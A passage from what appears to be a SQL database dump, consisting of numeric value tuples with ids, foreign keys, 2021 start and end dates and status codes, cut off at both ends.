),(3989,633,7104,'2021-01-18','2021-03-04',1,'2',639,1),(3991,161,7034,'2021-01-18','2021-02-15',1,'2',73,1),(3992,162,7060,'2021-01-18','2021-02-19',1,'2',73,1),(3993,194,7111,'2021-01-18','2021-02-01',1,'2',45,1),(4000,160,7110,'2021-01-18','2021-02-25',1,'2',73,1),(4001,161,7114,'2021-01-18','2021-02-25',1,'1',73,1),(4002,162,7115,'2021-01-18','2021-01-19',1,NULL,73,1),(4003,194,7117,'2021-01-18','2021-02-01',1,'2',45,1),(4004,1235,7121,'2021-01-19','2021-02-15',1,'2',277,1),(4007,194,7125,'2021-01-19','2021-02-01',1,'2',45,1),(4011,194,7128,'2021-01-19','2021-02-01',1,'2',45,1),(4013,161,7132,'2021-01-19','2021-02-27',1,'2',73,1),(4016,359,7134,'2021-01-19','2021-02-03',1,'4',251,1),(4023,634,7135,'2021-01-21','2021-04-01',1,'2',639,1),(4026,1343,7145,'2021-01-21','2021-02-03',1,'2',86,1),(4033,194,7151,'2021-01-22','2021-02-16',1,'2',45,1),(4034,194,7160,'2021-01-22','2021-02-16',1,'2',45,1),(4035,633,7150,'2021-01-22','2021-04-01',1,'2',639,1),(4039,194,7165,'2021-01-22','2021-02-16',1,'2',45,1),(4042,633,7159,'2021-01-23','2021-03-04',1,'2',639,1),(4044,1235,7166,'2021-01-23','2021-02-11',1,'2',277,1),(4045,162,7163,'2021-01-23','2021-03-06',1,'2',73,1),(4052,194,7182,'2021-01-23','2021-02-16',1,'2',45,1),(4053,1410,7164,'2021-01-23','2021-02-04',1,'2',975,1),(4066,204,7189,'2021-01-26','2021-02-19',1,'2',86,1),(4071,1235,7194,'2021-01-27','2021-02-11',1,'2',277,1),(4073,1410,7186,'2021-01-27','2022-11-02',0,'2',975,1),(4086,1067,7204,'2021-01-27','2021-03-11',1,'2',326,1),(4125,1594,7261,'2021-02-01','2021-02-15',1,'2',277,1),(4131,194,7273,'2021-02-02','2021-02-05',1,NULL,45,1),(4140,1393,7279,'2021-02-02','2021-03-16',1,'2',86,1),(4143,161,7275,'2021-02-03','2021-03-19',1,'2',73,1),(4148,1594,7283,'2021-02-03','2021-03-11',1,'2',277,1),(4151,633,7286,'2021-02-04','2021-04-01',1,'2',639,1),(4153,1594,7290,'2021-02-04','2021-05-31',1,'4',277,1),(4154,1408,7291,'2021-02-04','2021-02-19',1,'2',86,1),(4164,194,7300,'2021-02-05','2021-02-26',1,'2',45,1),(4166,194,7306,'2021-02-05','2021-02-11',1,NULL,45,1),(4167,194,7305,'2021-02-05','2021-02-24',1,'2',45,1),(4170,194,7311,'2021-02-06','2021-03-02',1,'2',45,1),(4177,194,7319,'2021-02-08','2021-03-02',1,'2',45,1),(4179,1594,7323,'2021-02-08','2021-03-11',1,'2',277,1),(4180,1594,7322,'2021-02-08','2021-03-11',0,'4',277,1),(4191,1456,7101,'2021-02-09','2021-03-09',1,'2',667,1),(4192,1370,7131,'2021-02-09','2021-03-15',0,'4',667,1),(4193,359,7314,'2021-02-09','2021-03-10',1,'2',251,1),(4195,1594,7332,'2021-02-09','2021-03-11',1,'2',277,1),(4197,633,7334,'2021-02-10','2021-04-01',1,'2',639,1),(4201,633,7338,'2021-02-10','2021-04-01',1,'2',639,1),(4204,194,7348,'2021-02-11','2021-03-02',1,'2',45,1),(4207,633,7345,'2021-02-11','2021-03-31',1,'2',639,1),(4219,1452,7356,'2021-02-12','2021-04-01',1,'2',91,1),(4220,1452,7257,'2021-02-12','2021-03-25',1,'2',91,1),(4230,1594,7376,'2021-02-15','2021-04-16',1,'2',277,1),(4231,194,7395,'2021-02-15','2021-02-26',1,'2',45,1),(4235,194,7408,'2021-02-15','2021-02-15',0,'4',45,1),(4236,194,7426,'2021-02-15','2021-03-02',1,'2',45,1),(4246,194,7419,'2021-02-15','2021-03-29',1,'2',45,1),(4247,160,7420,'2021-02-15','2021-02-16',1,NULL,73,1),(4255,1342,7424,'2021-02-16','2021-03-30',1,'2',971,1),(4257,359,7421,'2021-02-16','2021-03-18',1,'2',251,1),(4258,359,7396,'2021-02-16','2021-02-23',1,'2',251,1),(4265,1456,7428,'2021-02-16','2021-03-09',1,'2',667,1),(4277,162,7441,'2021-02-17','2021-04-02',1,'4',73,1),(4278,162,7442,'2021-02-17','2021-04-02',1,'4',73,1),(4279,194,7445,'2021-02-17','2021-06-05',1,'2',45,1),(4281,194,7450,'2021-02-17','2021-06-08',1,'2',45,1),(4290,359,7459,'2021-02-18','2021-03-10',1,'4',251,1),(4292,1452,7458,'2021-02-18','2021-04-12',1,'4',91,1),(4295,634,7432,'2021-02-18','2021-03-31',1,'2',639,1),(4303,1594,7472,'2021-02-18','2022-10-11',1,'1',277,1),(4308,1291,7477,'2021-04-16','2022-04-26',1,'2',86,1),(4309,194,7493,'2021-02-19','2021-03-11',1,'2',45,1),(4310,1393,7490,'2021-02-19','2021-03-11',1,'4',86,1),(4312,1067,7405,'2021-02-20','2021-03-16',1,'2',326,1),(4313,1067,7404,'2021-02-20','2021-03-16',1,'2',326,1),(4314,1067,7402,'2021-02-20','2021-03-16',1,'2',326,1),(4315,1067,7401,'2021-02-20','2021-03-16',1,'2',326,1),(4316,1067,7400,'2021-02-20','2021-03-16',1,'2',326,1),(4320,359,7494,'2021-02-22','2021-08-03',1,'4',251,1),(4321,359,7487,'2021-02-22','2021-03-09',1,'4',251,1),(4323,1594,7501,'2021-02-22','2021-04-17',1,'2',277,1),(4324,1342,7497,'2021-02-22','2021-04-17',1,'4',971,1),(4330,222,7462,'2021-02-22','2021-04-12',1,'2',85,1),(4336,194,7504,'2021-02-22','2021-06-05',0,'4',45,1),(4337,194,7511,'2021-02-22','2021-03-22',1,'2',45,1),(4340,1342,7516,'2021-02-22','2021-02-23',0,'4',971,1),(4348,194,7519,'2021-02-23','2021-03-11',1,'2',45,1),(4350,1291,7518,'2021-02-23','2022-05-04',1,'2',86,1),(4351,1393,7517,'2021-02-23','2022-05-04',1,'2',86,1),(4364,1410,7520,'2021-02-24','2021-03-19',1,'2',975,1),(4366,222,7537,'2021-02-24','2021-03-29',0,'4',85,1),(4373,634,7546,'2021-02-26','2021-03-31',1,'2',639,1),(4374,634,7544,'2021-02-26','2021-03-31',1,'2',639,1),(4394,1594,7555,'2021-03-01','2021-04-17',1,'2',277,1),(4400,160,7557,'2021-03-02','2021-03-25',1,'2',73,1),(4401,162,7559,'2021-03-02','2021-07-28',1,'2',73,1),(4412,1452,7574,'2021-03-02','2021-03-23',1,'2',91,1),(4413,1452,7568,'2021-03-02','2021-03-23',1,'2',91,1),(4414,1594,7592,'2021-03-02','2021-04-03',1,'2',277,1),(4419,194,7594,'2021-03-02','2021-06-02',1,'4',45,1),(4432,194,7627,'2021-03-03','2021-03-22',1,'2',45,1),(4446,194,7649,'2021-03-03','2021-03-17',1,'2',45,1),(4448,194,7662,'2021-03-03','2021-03-16',1,'2',45,1),(4449,194,7663,'2021-03-03','2021-03-17',1,'2',45,1),(4459,359,7590,'2021-03-04','2021-03-20',1,'2',251,1),(4471,162,7617,'2021-03-04','2021-04-14',1,'2',73,1),(4472,161,7635,'2021-03-04','2021-04-12',1,'2',73,1),(4473,634,7664,'2021-03-04','2021-03-31',1,'2',639,1),(4474,1367,7422,'2021-03-04','2021-04-02',1,'2',959,1),(4481,1251,7669,'2021-03-04','2021-03-30',1,'2',86,1),(4489,161,7677,'2021-03-05','2021-04-30',1,'2',73,1),(4490,162,7678,'2021-03-05','2021-04-30',1,'2',73,1),(4491,359,7680,'2021-03-05','2021-04-08',1,'2',251,1),(4500,194,7693,'2021-03-06','2021-03-11',1,NULL,45,1),(4512,161,7696,'2021-03-08','2021-07-30',1,'2',73,1),(4516,1324,7700,'2021-03-09','2021-03-26',1,'2',959,1),(4519,162,7702,'2021-03-09','2021-03-27',1,NULL,73,1),(4524,634,7712,'2021-03-09','2021-04-29',1,'2',639,1),(4529,194,7728,'2021-03-10','2021-03-23',1,'2',45,1),(4540,1310,7729,'2021-03-10','2021-04-02',1,'2',959,1),(4543,194,7735,'2021-03-11','2021-06-07',1,'2',45,1),(4547,222,7734,'2021-03-11','2021-07-06',1,'4',85,1),(4556,359,7751,'2021-03-12','2021-04-29',1,'2',251,1),(4559,1067,7750,'2021-03-12','2021-03-16',1,'2',326,1),(4560,1067,7749,'2021-03-12','2021-03-16',1,'2',326,1),(4561,1067,7748,'2021-03-12','2021-03-16',1,'2',326,1),(4562,1067,7747,'2021-03-12','2021-03-16',1,'2',326,1),(4563,1067,7746,'2021-03-12','2021-03-16',1,'2',326,1),(4570,222,7741,'2021-03-15','2021-07-20',1,'4',85,1),(4572,1410,7686,'2021-03-15','2021-03-22',1,'2',975,1),(4577,1408,7764,'2021-03-15','2021-05-22',1,'4',86,1),(4583,194,7763,'2021-03-16','2021-03-26',1,'2',45,1),(4584,194,7779,'2021-03-16','2021-03-19',1,NULL,45,1),(4589,359,7776,'2021-03-16','2021-04-08',1,'2',251,1),(4604,194,7806,'2021-03-16','2021-03-29',1,'2',45,1),(4618,161,7824,'2021-03-18','2021-04-12',1,NULL,73,1),(4625,194,7832,'2021-03-18','2021-03-31',1,'2',45,1),(4626,194,7830,'2021-03-18','2021-04-30',1,'2',45,1),(4631,1410,7778,'2021-03-19','2021-04-02',1,'2',975,1),(4638,1594,7843,'2021-03-19','2021-04-24',1,'2',277,1),(4648,194,7854,'2021-03-22','2021-04-30',1,'2',45,1),(4652,194,7868,'2021-03-22','2021-03-26',1,NULL,45,1),(4674,1594,7883,'2021-03-24','2021-04-24',1,'2',277,1),(4678,194,7888,'2021-03-24','2021-04-12',1,'2',45,1),(4685,194,7903,'2021-03-24','2021-04-27',1,'2',45,1),(4687,1594,7887,'2021-03-24','2021-05-11',1,'2',277,1),(4693,1251,7905,'2021-03-25','2021-04-02',0,'4',86,1),(4694,1393,7897,'2021-03-25','2021-04-15',1,'2',86,1),(4695,162,7871,'2021-03-25','2021-05-18',1,'2',73,1),(4705,161,7924,'2021-03-25','2021-05-15',1,'2',73,1),(4706,162,7926,'2021-03-25','2021-05-31',1,'2',73,1),(4707,1067,7911,'2021-03-25','2021-03-26',1,'2',326,1),(4717,634,7933,'2021-03-26','2021-03-31',1,'2',639,1),(4724,359,7931,'2021-03-26','2021-04-29',1,'2',251,1),(4726,161,7930,'2021-03-26','2021-05-15',1,'2',73,1),(4732,194,7946,'2021-03-27','2021-04-12',1,'2',45,1),(4735,1452,7944,'2021-03-27','2021-04-01',1,'2',91,1),(4736,1452,7943,'2021-03-27','2021-04-01',1,'2',91,1),(4752,359,7969,'2021-03-29','2021-04-14',1,'2',251,1),(4753,222,7929,'2021-03-29','2021-07-06',1,'2',85,1),(4765,194,7980,'2021-03-29','2021-05-21',1,'2',45,1),(4766,194,7979,'2021-03-29','2021-05-21',1,'2',45,1),(4767,1067,7993,'2021-03-29','2021-03-30',1,'2',326,1),(4772,194,7992,'2021-03-29','2021-04-20',1,'2',45,1),(4773,194,7990,'2021-03-29','2021-06-08',1,'2',45,1),(4774,1370,7978,'2021-03-29','2021-06-14',0,'4',667,1),(4782,1067,8008,'2021-03-30','2021-03-30',1,'2',326,1),(4786,194,8012,'2021-03-30','2021-04-16',1,'2',45,1),(4804,194,8015,'2021-03-31','2021-04-13',1,'2',45,1),(4805,1659,8014,'2021-03-31','2021-05-11',1,'2',277,1),(4806,1594,8019,'2021-03-31','2021-05-11',1,'2',277,1),(4822,194,8048,'2021-04-01','2021-06-05',1,'4',45,1),(4826,162,8043,'2021-04-02','2021-06-24',1,'2',73,1),(4830,1406,8041,'2021-04-02','2021-04-19',1,'2',971,1),(4839,1067,8064,'2021-04-03','2021-04-15',1,'2',326,1),(4845,194,8073,'2021-04-03','2021-07-30',1,'2',45,1),(4846,194,8076,'2021-04-03','2021-07-30',1,'2',45,1),(4851,203,8068,'2021-04-05','2021-05-18',1,'2',86,1),(4857,194,8092,'2021-04-05','2021-04-30',1,'2',45,1),(4858,194,8086,'2021-04-05','2021-05-21',1,'2',45,1),(4896,1410,8098,'2021-04-07','2021-06-16',1,'4',975,1),(4908,194,8102,'2021-04-08','2021-06-28',1,'2',45,1),(4913,194,8115,'2021-04-08','2021-06-09',1,'2',45,1),(4917,161,8074,'2021-04-09','2021-06-28',1,'2',73,1),(4919,634,8118,'2021-04-09','2021-04-29',1,'2',639,1),(4930,1370,8114,'2021-04-12','2021-05-26',1,'2',667,1),(4931,194,8095,'2021-04-12','2021-04-23',1,'2',45,1),(4932,194,8122,'2021-04-12','2021-04-19',1,NULL,45,1),(4939,1666,8139,'2021-04-13','2021-06-03',1,'2',277,1),(4942,194,8146,'2021-04-13','2021-04-28',1,'2',45,1),(4943,194,8145,'2021-04-13','2021-04-28',1,'2',45,1),(4946,161,8147,'2021-04-13','2021-07-28',1,'2',73,1),(4947,162,8150,'2021-04-13','2021-07-16',1,'2',73,1),(4951,194,8156,'2021-04-14','2021-06-03',1,'2',45,1),(4952,1664,8158,'2021-04-21','2021-07-22',1,'2',277,1),(4953,1664,8159,'2021-04-15','2021-07-17',1,'4',277,1),(4954,634,8163,'2021-04-15','2021-04-29',1,'2',639,1),(4959,194,8173,'2021-04-15','2021-05-28',1,'2',45,1),(4963,1654,8169,'2021-04-16','2021-07-12',0,'4',971,1),(4964,1452,8171,'2021-04-16','2021-05-27',1,'2',91,1),(4965,1406,8170,'2021-04-16','2021-06-07',1,'2',971,1),(4968,359,8172,'2021-04-16','2021-05-15',1,'2',251,1),(4973,1675,8174,'2021-04-16','2021-05-24',1,'2',86,1),(4978,194,8194,'2021-04-17','2021-06-05',0,'4',45,1),(4985,1452,8202,'2021-04-19','2021-05-27',1,'2',91,1),(4991,1675,8218,'2021-04-20','2021-04-30',0,'4',86,1),(5004,162,8208,'2021-04-20','2021-06-29',1,'2',73,1),(5006,194,8226,'2021-04-21','2021-05-04',1,'2',45,1),(5008,1342,8224,'2021-04-21','2021-05-26',1,'2',971,1),(5012,194,8229,'2021-04-22','2021-06-02',1,'2',45,1),(5018,1452,8241,'2021-04-23','2021-05-12',1,'2',91,1),(5022,1456,8240,'2021-04-23','2021-06-18',0,'4',667,1),(5023,1370,8239,'2021-04-23','2021-07-23',1,'2',667,1),(5027,1069,8244,'2021-04-26','2021-05-27',1,'2',326,1),(5046,194,8282,'2021-04-26','2021-06-03',1,'2',45,1),(5060,160,8284,'2021-04-27','2021-07-02',1,NULL,73,1),(5061,1452,8297,'2021-04-27','2021-04-29',1,'2',91,1),(5063,1675,8307,'2021-04-27','2021-04-28',1,'2',86,1),(5065,1452,8302,'2021-04-27','2021-05-12',1,'2',91,1),(5076,194,8316,'2021-04-28','2021-05-17',1,'2',45,1),(5077,194,8315,'2021-04-28','2021-05-14',1,'2',45,1),(5078,1370,8320,'2021-04-28','2021-06-14',0,'4',667,1),(5088,160,8319,'2021-04-29','2021-07-02',1,NULL,73,1),(5092,1666,8321,'2021-04-29','2021-06-03',1,'2',277,1),(5094,1069,8323,'2021-04-29','2021-05-15',1,'2',326,1),(5096,194,8329,'2021-04-29','2021-05-19',1,NULL,45,1),(5097,1067,8340,'2021-04-30','2021-05-04',1,'2',326,1),(5098,1067,8339,'2021-04-30','2021-05-04',1,'2',326,1),(5099,1067,8338,'2021-04-30','2021-05-04',1,'2',326,1),(5108,1069,8345,'2021-05-05','2021-05-05',1,'2',326,1),(5110,1665,8359,'2021-05-05','2021-06-03',1,'2',277,1),(5112,194,8358,'2021-05-05','2021-05-17',1,'2',45,1),(5117,1663,8381,'2021-05-05','2021-06-04',1,'2',277,1),(5122,1370,8396,'2021-05-05','2021-11-30',0,'4',667,1),(5135,1342,8389,'2021-05-06','2021-05-26',1,'2',971,1),(5146,194,8403,'2021-05-06','2021-06-29',1,'2',45,1),(5154,203,8408,'2021-05-07','2021-05-26',1,'2',86,1),(5158,634,8364,'2021-05-07','2021-07-02',1,'2',639,1),(5165,1069,8417,'2021-05-10','2021-05-22',1,'2',326,1),(5172,194,8429,'2021-05-10','2021-06-08',1,'4',45,1),(5180,222,8441,'2021-05-11','2021-07-28',1,'2',85,1),(5181,222,8253,'2021-05-11','2021-07-28',1,'4',85,1),(5183,1668,8442,'2021-05-11','2021-06-07',1,'2',277,1),(5184,194,8435,'2021-05-11','2021-05-24',1,'2',45,1),(5185,161,8436,'2021-05-11','2021-05-24',1,'2',73,1),(5194,1674,8449,'2021-05-12','2021-05-27',1,'2',251,1),(5198,1410,8353,'2021-05-13','2021-06-16',1,NULL,975,1),(5203,634,8460,'2021-05-13','2021-07-02',1,'2',639,1),(5213,1674,8484,'2021-05-15','2021-05-29',1,'2',251,1),(5216,1069,8475,'2021-05-15','2021-05-22',1,'2',326,1),(5218,1452,8494,'2021-05-16','2021-06-29',1,'2',91,1),(5220,1574,8491,'2021-05-17','2021-06-25',1,'2',86,1),(5221,1675,8490,'2021-05-17','2021-05-28',1,'2',86,1),(5236,1439,8513,'2021-05-17','2021-07-16',1,'2',86,1),(5242,634,8481,'2021-05-18','2021-07-02',1,'2',639,1),(5244,194,8519,'2021-05-18','2021-05-28',1,NULL,45,1),(5245,1456,8521,'2021-05-18','2021-11-30',0,'4',667,1),(5257,1675,8541,'2021-05-19','2021-06-01',1,'2',86,1),(5258,1324,8534,'2021-05-19','2021-07-09',1,'2',959,1),(5259,1310,8532,'2021-05-19','2021-06-01',1,'2',959,1),(5260,1367,8531,'2021-05-19','2021-06-01',1,'2',959,1),(5268,161,8545,'2021-05-20','2021-06-22',1,NULL,73,1),(5282,1674,8553,'2021-05-20','2021-06-04',1,'2',251,1),(5283,634,8514,'2021-05-20','2022-07-26',1,'4',639,1),(5290,194,8583,'2021-05-21','2021-07-22',0,'4',45,1),(5291,194,8582,'2021-05-21','2021-07-22',0,'4',45,1),(5292,194,8581,'2021-05-21','2021-07-22',0,'4',45,1),(5293,194,8579,'2021-05-21','2021-07-22',0,'4',45,1),(5295,1245,8584,'2021-05-21','2021-06-28',1,'2',91,1),(5297,1343,8595,'2021-05-21','2021-07-07',1,'4',86,1),(5298,1675,8594,'2021-05-21','2021-10-20',1,'2',86,1),(5299,1574,8593,'2021-05-21','2021-06-17',1,'2',86,1),(5300,1574,8592,'2021-05-21','2021-06-16',1,'2',86,1),(5301,1393,8591,'2021-05-21','2021-06-09',1,'2',86,1),(5302,1675,8589,'2021-05-21','2021-10-19',1,'2',86,1),(5303,1574,8588,'2021-05-21','2021-06-14',1,'2',86,1),(5312,1315,8572,'2021-05-22','2021-07-09',1,'2',959,1),(5313,1324,8571,'2021-05-22','2021-08-19',1,'2',959,1),(5315,1452,8598,'2021-05-22','2021-06-11',1,'2',91,1),(5316,1452,8596,'2021-05-22','2021-06-06',1,'2',91,1),(5342,1069,8631,'2021-05-24','2021-05-25',1,'2',326,1),(5349,1342,8633,'2021-05-25','2021-08-05',1,'4',971,1),(5350,633,8625,'2021-05-25','2021-06-11',1,'2',639,1),(5361,161,8638,'2021-05-25','2021-09-03',1,'2',73,1),(5362,1574,8660,'2021-05-25','2021-08-17',1,'4',86,1),(5405,194,8704,'2021-05-27','2021-06-09',1,'2',45,1),(5409,1594,8707,'2021-05-27','2021-07-17',1,'2',277,1),(5410,1668,8705,'2021-05-27','2021-07-07',1,'2',277,1),(5416,222,8634,'2021-05-27','2021-09-29',1,'2',85,1),(5417,222,8700,'2021-05-27','2021-07-06',1,'4',85,1),(5418,222,8703,'2021-05-27','2021-07-06',1,'2',85,1),(5420,633,8696,'2021-05-28','2021-07-02',1,'2',639,1),(5436,162,8729,'2021-05-28','2021-07-16',1,'2',73,1),(5456,1394,8742,'2021-05-29','2021-06-14',1,'2',86,1),(5468,633,8738,'2021-05-31','2021-06-11',1,'2',639,1),(5470,633,8753,'2021-05-31','2021-06-11',1,'2',639,1),(5478,194,8766,'2021-05-31','2021-07-12',1,'2',45,1),(5490,1675,8783,'2021-06-01','2021-06-01',1,'2',86,1),(5502,194,8789,'2021-06-02','2021-06-28',1,'2',45,1),(5515,1069,8797,'2021-06-03','2023-12-08',1,'2',326,1),(5519,1408,8807,'2021-06-04','2021-06-07',0,'4',86,1),(5545,1342,8836,'2021-06-07','2021-09-20',0,'4',971,1),(5553,1594,8837,'2021-06-09','2021-09-03',1,'2',277,1),(5554,1594,8838,'2021-06-09','2021-07-22',1,'2',277,1),(5556,1251,8848,'2021-06-09','2021-06-23',1,'2',86,1),(5561,160,8846,'2021-06-09','2021-09-03',1,'2',73,1),(5563,1367,8845,'2021-06-10','2021-06-26',1,'2',959,1),(5567,194,8863,'2021-06-10','2021-06-26',1,'2',45,1),(5576,1675,8874,'2021-06-12','2021-07-08',1,'2',86,1),(5577,1291,8873,'2021-06-12','2021-07-13',1,'2',86,1),(5578,1251,8872,'2021-06-12','2021-09-16',1,'2',86,1),(5580,1663,8885,'2021-06-12','2021-07-07',1,'2',277,1),(5598,1410,8752,'2021-06-15','2021-06-16',1,NULL,975,1),(5600,1410,8864,'2021-06-15','2021-07-23',1,'2',975,1),(5601,1410,8884,'2021-06-15','2021-06-16',1,NULL,975,1),(5605,1674,8898,'2021-06-15','2021-06-29',1,'2',251,1),(5609,194,8902,'2021-06-15','2021-07-12',1,'2',45,1),(5613,222,8914,'2021-06-16','2021-09-14',1,'4',85,1),(5615,1674,8911,'2021-06-16','2021-08-09',1,'2',251,1),(5622,1674,8924,'2021-06-17','2021-06-29',1,'2',251,1),(5628,1069,8940,'2021-06-17','2021-06-17',1,'2',326,1),(5629,1069,8939,'2021-06-17','2021-06-17',1,'2',326,1),(5630,1069,8933,'2021-06-17','2021-06-17',1,'2',326,1),(5631,1069,8932,'2021-06-17','2021-06-17',1,'2',326,1),(5646,221,8917,'2021-06-18','2021-07-28',1,'4',85,1),(5648,1674,8945,'2021-06-18','2021-07-01',1,'2',251,1),(5649,194,8953,'2021-06-18','2021-07-09',1,'2',45,1),(5650,194,8943,'2021-06-18','2021-06-29',1,'2',45,1),(5686,194,9013,'2021-06-22','2021-07-12',1,'2',45,1),(5688,1674,8999,'2021-06-22','2021-07-13',1,'2',251,1),(5717,160,9031,'2021-06-24','2021-09-03',1,'2',73,1),(5718,161,9057,'2021-06-24','2021-09-03',1,'2',73,1),(5719,1674,9022,'2021-06-24','2021-07-13',1,'2',251,1),(5748,194,9068,'2021-06-25','2021-07-12',1,'2',45,1),(5757,1674,9081,'2021-06-28','2021-08-03',1,'4',251,1),(5767,194,9105,'2021-06-28','2021-07-13',1,'2',45,1),(5785,194,9112,'2021-06-29','2021-07-22',1,'2',45,1),(5789,1452,9117,'2021-06-29','2021-07-06',0,'2',91,1),(5790,1452,9116,'2021-06-29','2021-07-06',0,'2',91,1),(5795,222,9134,'2021-06-29','2021-11-06',1,'4',85,1),(5796,1069,9102,'2021-06-30','2021-07-01',1,NULL,326,1),(5806,634,9158,'2021-06-30','2021-07-29',1,'2',639,1),(5808,194,9160,'2021-06-30','2021-07-21',1,'2',45,1),(5815,222,9157,'2021-06-30','2021-07-06',1,'2',85,1),(5816,222,9156,'2021-06-30','2021-07-06',1,'2',85,1),(5817,222,9155,'2021-06-30','2021-07-06',1,'2',85,1),(5829,1452,9137,'2021-07-01','2021-07-06',0,'2',91,1),(5830,194,9173,'2021-07-01','2021-07-24',1,NULL,45,1),(5831,194,9172,'2021-07-01','2021-07-24',1,NULL,45,1),(5832,194,9169,'2021-07-01','2021-07-12',1,NULL,45,1),(5833,194,9171,'2021-07-01','2021-07-24',1,NULL,45,1),(5834,634,9174,'2021-07-01','2021-07-02',1,'2',639,1),(5835,634,9168,'2021-07-01','2021-07-02',1,'2',639,1),(5836,161,9096,'2021-07-01','2021-10-04',1,'2',73,1),(5837,162,9110,'2021-07-01','2021-07-29',1,'2',73,1),(5838,161,9130,'2021-07-01',NULL,0,NULL,73,1),(5865,1393,9210,'2021-07-03','2021-08-05',1,'2',86,1),(5887,1452,9230,'2021-07-06',NULL,0,NULL,91,1),(5888,1668,9235,'2021-07-06','2021-10-04',1,'2',277,1),(5889,194,9233,'2021-07-06','2021-07-23',1,'2',45,1),(5896,1069,9236,'2021-07-06','2021-07-06',1,'2',326,1),(5906,194,9267,'2021-07-07','2021-08-04',1,NULL,45,1),(5928,1668,9276,'2021-07-08','2021-07-22',1,'2',277,1),(5929,1668,9277,'2021-07-08','2021-09-14',1,'4',277,1),(5932,1410,9034,'2021-07-09','2021-07-21',1,'2',975,1),(5933,1410,9251,'2021-07-09','2021-07-20',1,'2',975,1),(5934,1069,9286,'2021-07-09','2022-07-12',1,'4',326,1),(5940,161,9229,'2021-07-09','2021-10-26',0,'4',73,1),(5941,162,9231,'2021-07-09',NULL,0,NULL,73,1),(5942,162,9243,'2021-07-09',NULL,0,NULL,73,1),(5943,161,9285,'2021-07-09','2021-10-04',1,'2',73,1),(5944,634,9183,'2021-07-09','2022-07-27',1,'2',639,1),(5954,1394,9303,'2021-07-12','2021-07-26',1,'2',86,1),(5972,162,9318,'2021-07-12','2022-08-25',0,'4',73,1),(5973,194,9331,'2021-07-12','2021-07-23',1,'2',45,1),(6009,194,9375,'2021-07-13','2021-08-04',1,NULL,45,1),(6012,161,9377,'2021-07-14',NULL,0,NULL,73,1),(6018,1011,9343,'2021-07-14',NULL,0,NULL,91,1),(6019,1245,9343,'2021-07-14',NULL,0,NULL,91,1),(6020,1452,9343,'2021-07-14',NULL,0,NULL,91,1),(6035,1012,9343,'2021-07-14',NULL,0,NULL,91,1),(6038,194,9398,'2021-07-15','2021-07-28',1,'2',45,1),(6039,194,9394,'2021-07-15','2021-08-06',1,'2',45,1),(6053,1342,9397,'2021-07-15',NULL,0,NULL,971,1),(6054,1654,9397,'2021-07-15',NULL,0,NULL,971,1),(6055,1406,9397,'2021-07-15','2021-09-04',1,'2',971,1),(6057,1670,9332,'2021-07-15',NULL,0,NULL,277,1),(6058,1669,9332,'2021-07-15',NULL,0,NULL,277,1),(6059,1663,9332,'2021-07-15',NULL,0,NULL,277,1),(6060,1665,9340,'2021-07-15','2021-07-22',1,NULL,277,1),(6061,1664,9332,'2021-07-15','2021-07-15',1,NULL,277,1),(6065,1666,9332,'2021-07-15','2021-07-16',1,NULL,277,1),(6066,1675,9381,'2021-07-15','2021-08-05',2,'2',86,1),(6067,1394,9381,'2021-07-15','2021-08-05',1,NULL,86,1),(6068,1245,9406,'2021-07-15',NULL,0,NULL,91,1),(6083,203,9381,'2021-07-16',NULL,0,NULL,86,1),(6084,1410,9409,'2021-07-16','2021-07-23',1,'2',975,1),(6090,1663,9340,'2021-07-16','2021-09-14',1,'2',277,1),(6106,1410,9411,'2021-07-16','2021-09-04',1,'2',975,1),(6107,1410,9408,'2021-07-16','2021-08-13',1,'2',975,1),(6108,1410,9410,'2021-07-16','2021-07-23',1,'4',975,1),(6120,1705,9444,'2021-07-17','2021-07-19',1,NULL,91,1),(6121,1705,9343,'2021-07-17','2021-07-17',1,NULL,91,1),(6122,1705,9406,'2021-07-19',NULL,0,NULL,91,1),(6125,1674,9452,'2021-07-19','2021-08-05',1,'2',251,1),(6126,1674,9451,'2021-07-19','2021-08-03',1,'2',251,1),(6132,1708,9436,'2021-07-19','2022-08-09',1,'2',639,1),(6133,1708,9422,'2021-07-19','2022-07-28',1,'2',639,1),(6134,1708,9421,'2021-07-19','2022-07-25',1,'2',639,1),(6135,1708,9419,'2021-07-19','2022-07-25',1,'2',639,1),(6136,1708,9420,'2021-07-19','2022-07-25',1,'2',639,1),(6147,162,9466,'2021-07-19','2021-10-26',0,'4',73,1),(6156,1665,9472,'2021-07-20','2021-09-18',1,'2',277,1),(6157,1705,9494,'2021-07-20','2021-07-20',1,NULL,91,1),(6168,194,9519,'2021-07-20','2021-08-25',1,'2',45,1),(6187,194,9543,'2021-07-20','2021-08-09',1,'2',45,1),(6198,1710,9397,'2021-07-21',NULL,0,NULL,971,1),(6202,160,9521,'2021-07-21','2021-07-23',1,NULL,73,1),(6204,1251,9517,'2021-07-21','2021-10-19',1,'4',86,1),(6205,1370,9538,'2021-07-21','2021-08-04',1,'2',667,1),(6206,1410,9537,'2021-07-21','2021-07-26',1,'2',975,1),(6217,1367,9555,'2021-07-21','2021-08-19',1,'2',959,1),(6226,221,9539,'2021-07-22','2021-09-07',1,NULL,85,1),(6228,1705,9560,'2021-07-22','2021-07-22',1,NULL,91,1),(6229,1705,9557,'2021-07-22','2021-08-09',1,'2',91,1),(6230,1705,9558,'2021-07-22','2021-08-09',1,'2',91,1),(6252,1410,9580,'2021-07-23','2021-08-13',1,'2',975,1),(6266,194,9611,'2021-07-23','2021-08-07',1,'2',45,1),(6285,194,9627,'2021-07-23','2021-08-09',1,'2',45,1),(6299,1667,9639,'2021-07-24','2021-10-06',1,'2',277,1),(6300,1663,9640,'2021-07-24','2022-03-28',1,'2',277,1),(6301,1659,9641,'2021-07-24','2021-08-06',1,'2',277,1),(6314,1674,9647,'2021-07-24','2021-09-17',1,'2',251,1),(6316,222,9650,'2021-07-26','2021-09-29',1,'2',85,1),(6363,1410,9665,'2021-07-26','2021-08-17',1,'2',975,1),(6364,1410,9664,'2021-07-26','2021-08-13',0,'2',975,1),(6365,1410,9663,'2021-07-26','2021-08-17',1,'2',975,1),(6368,222,9651,'2021-07-27','2021-09-28',1,'2',85,1),(6394,1674,9713,'2021-07-27','2021-09-06',1,'2',251,1),(6404,1370,8521,'2021-07-28',NULL,0,NULL,667,1),(6406,1456,8396,'2021-07-28',NULL,0,NULL,667,1),(6424,1069,9743,'2021-07-28','2021-08-03',1,'2',326,1),(6427,194,9398,'2021-07-28','2021-07-28',1,'2',45,1),(6428,194,9394,'2021-07-28','2021-08-06',0,'2',45,1),(6429,1705,9502,'2021-07-28','2021-07-29',1,NULL,91,1),(6430,194,9753,'2021-07-28','2021-09-04',1,'2',45,1),(6444,1674,9770,'2021-07-28','2021-09-06',1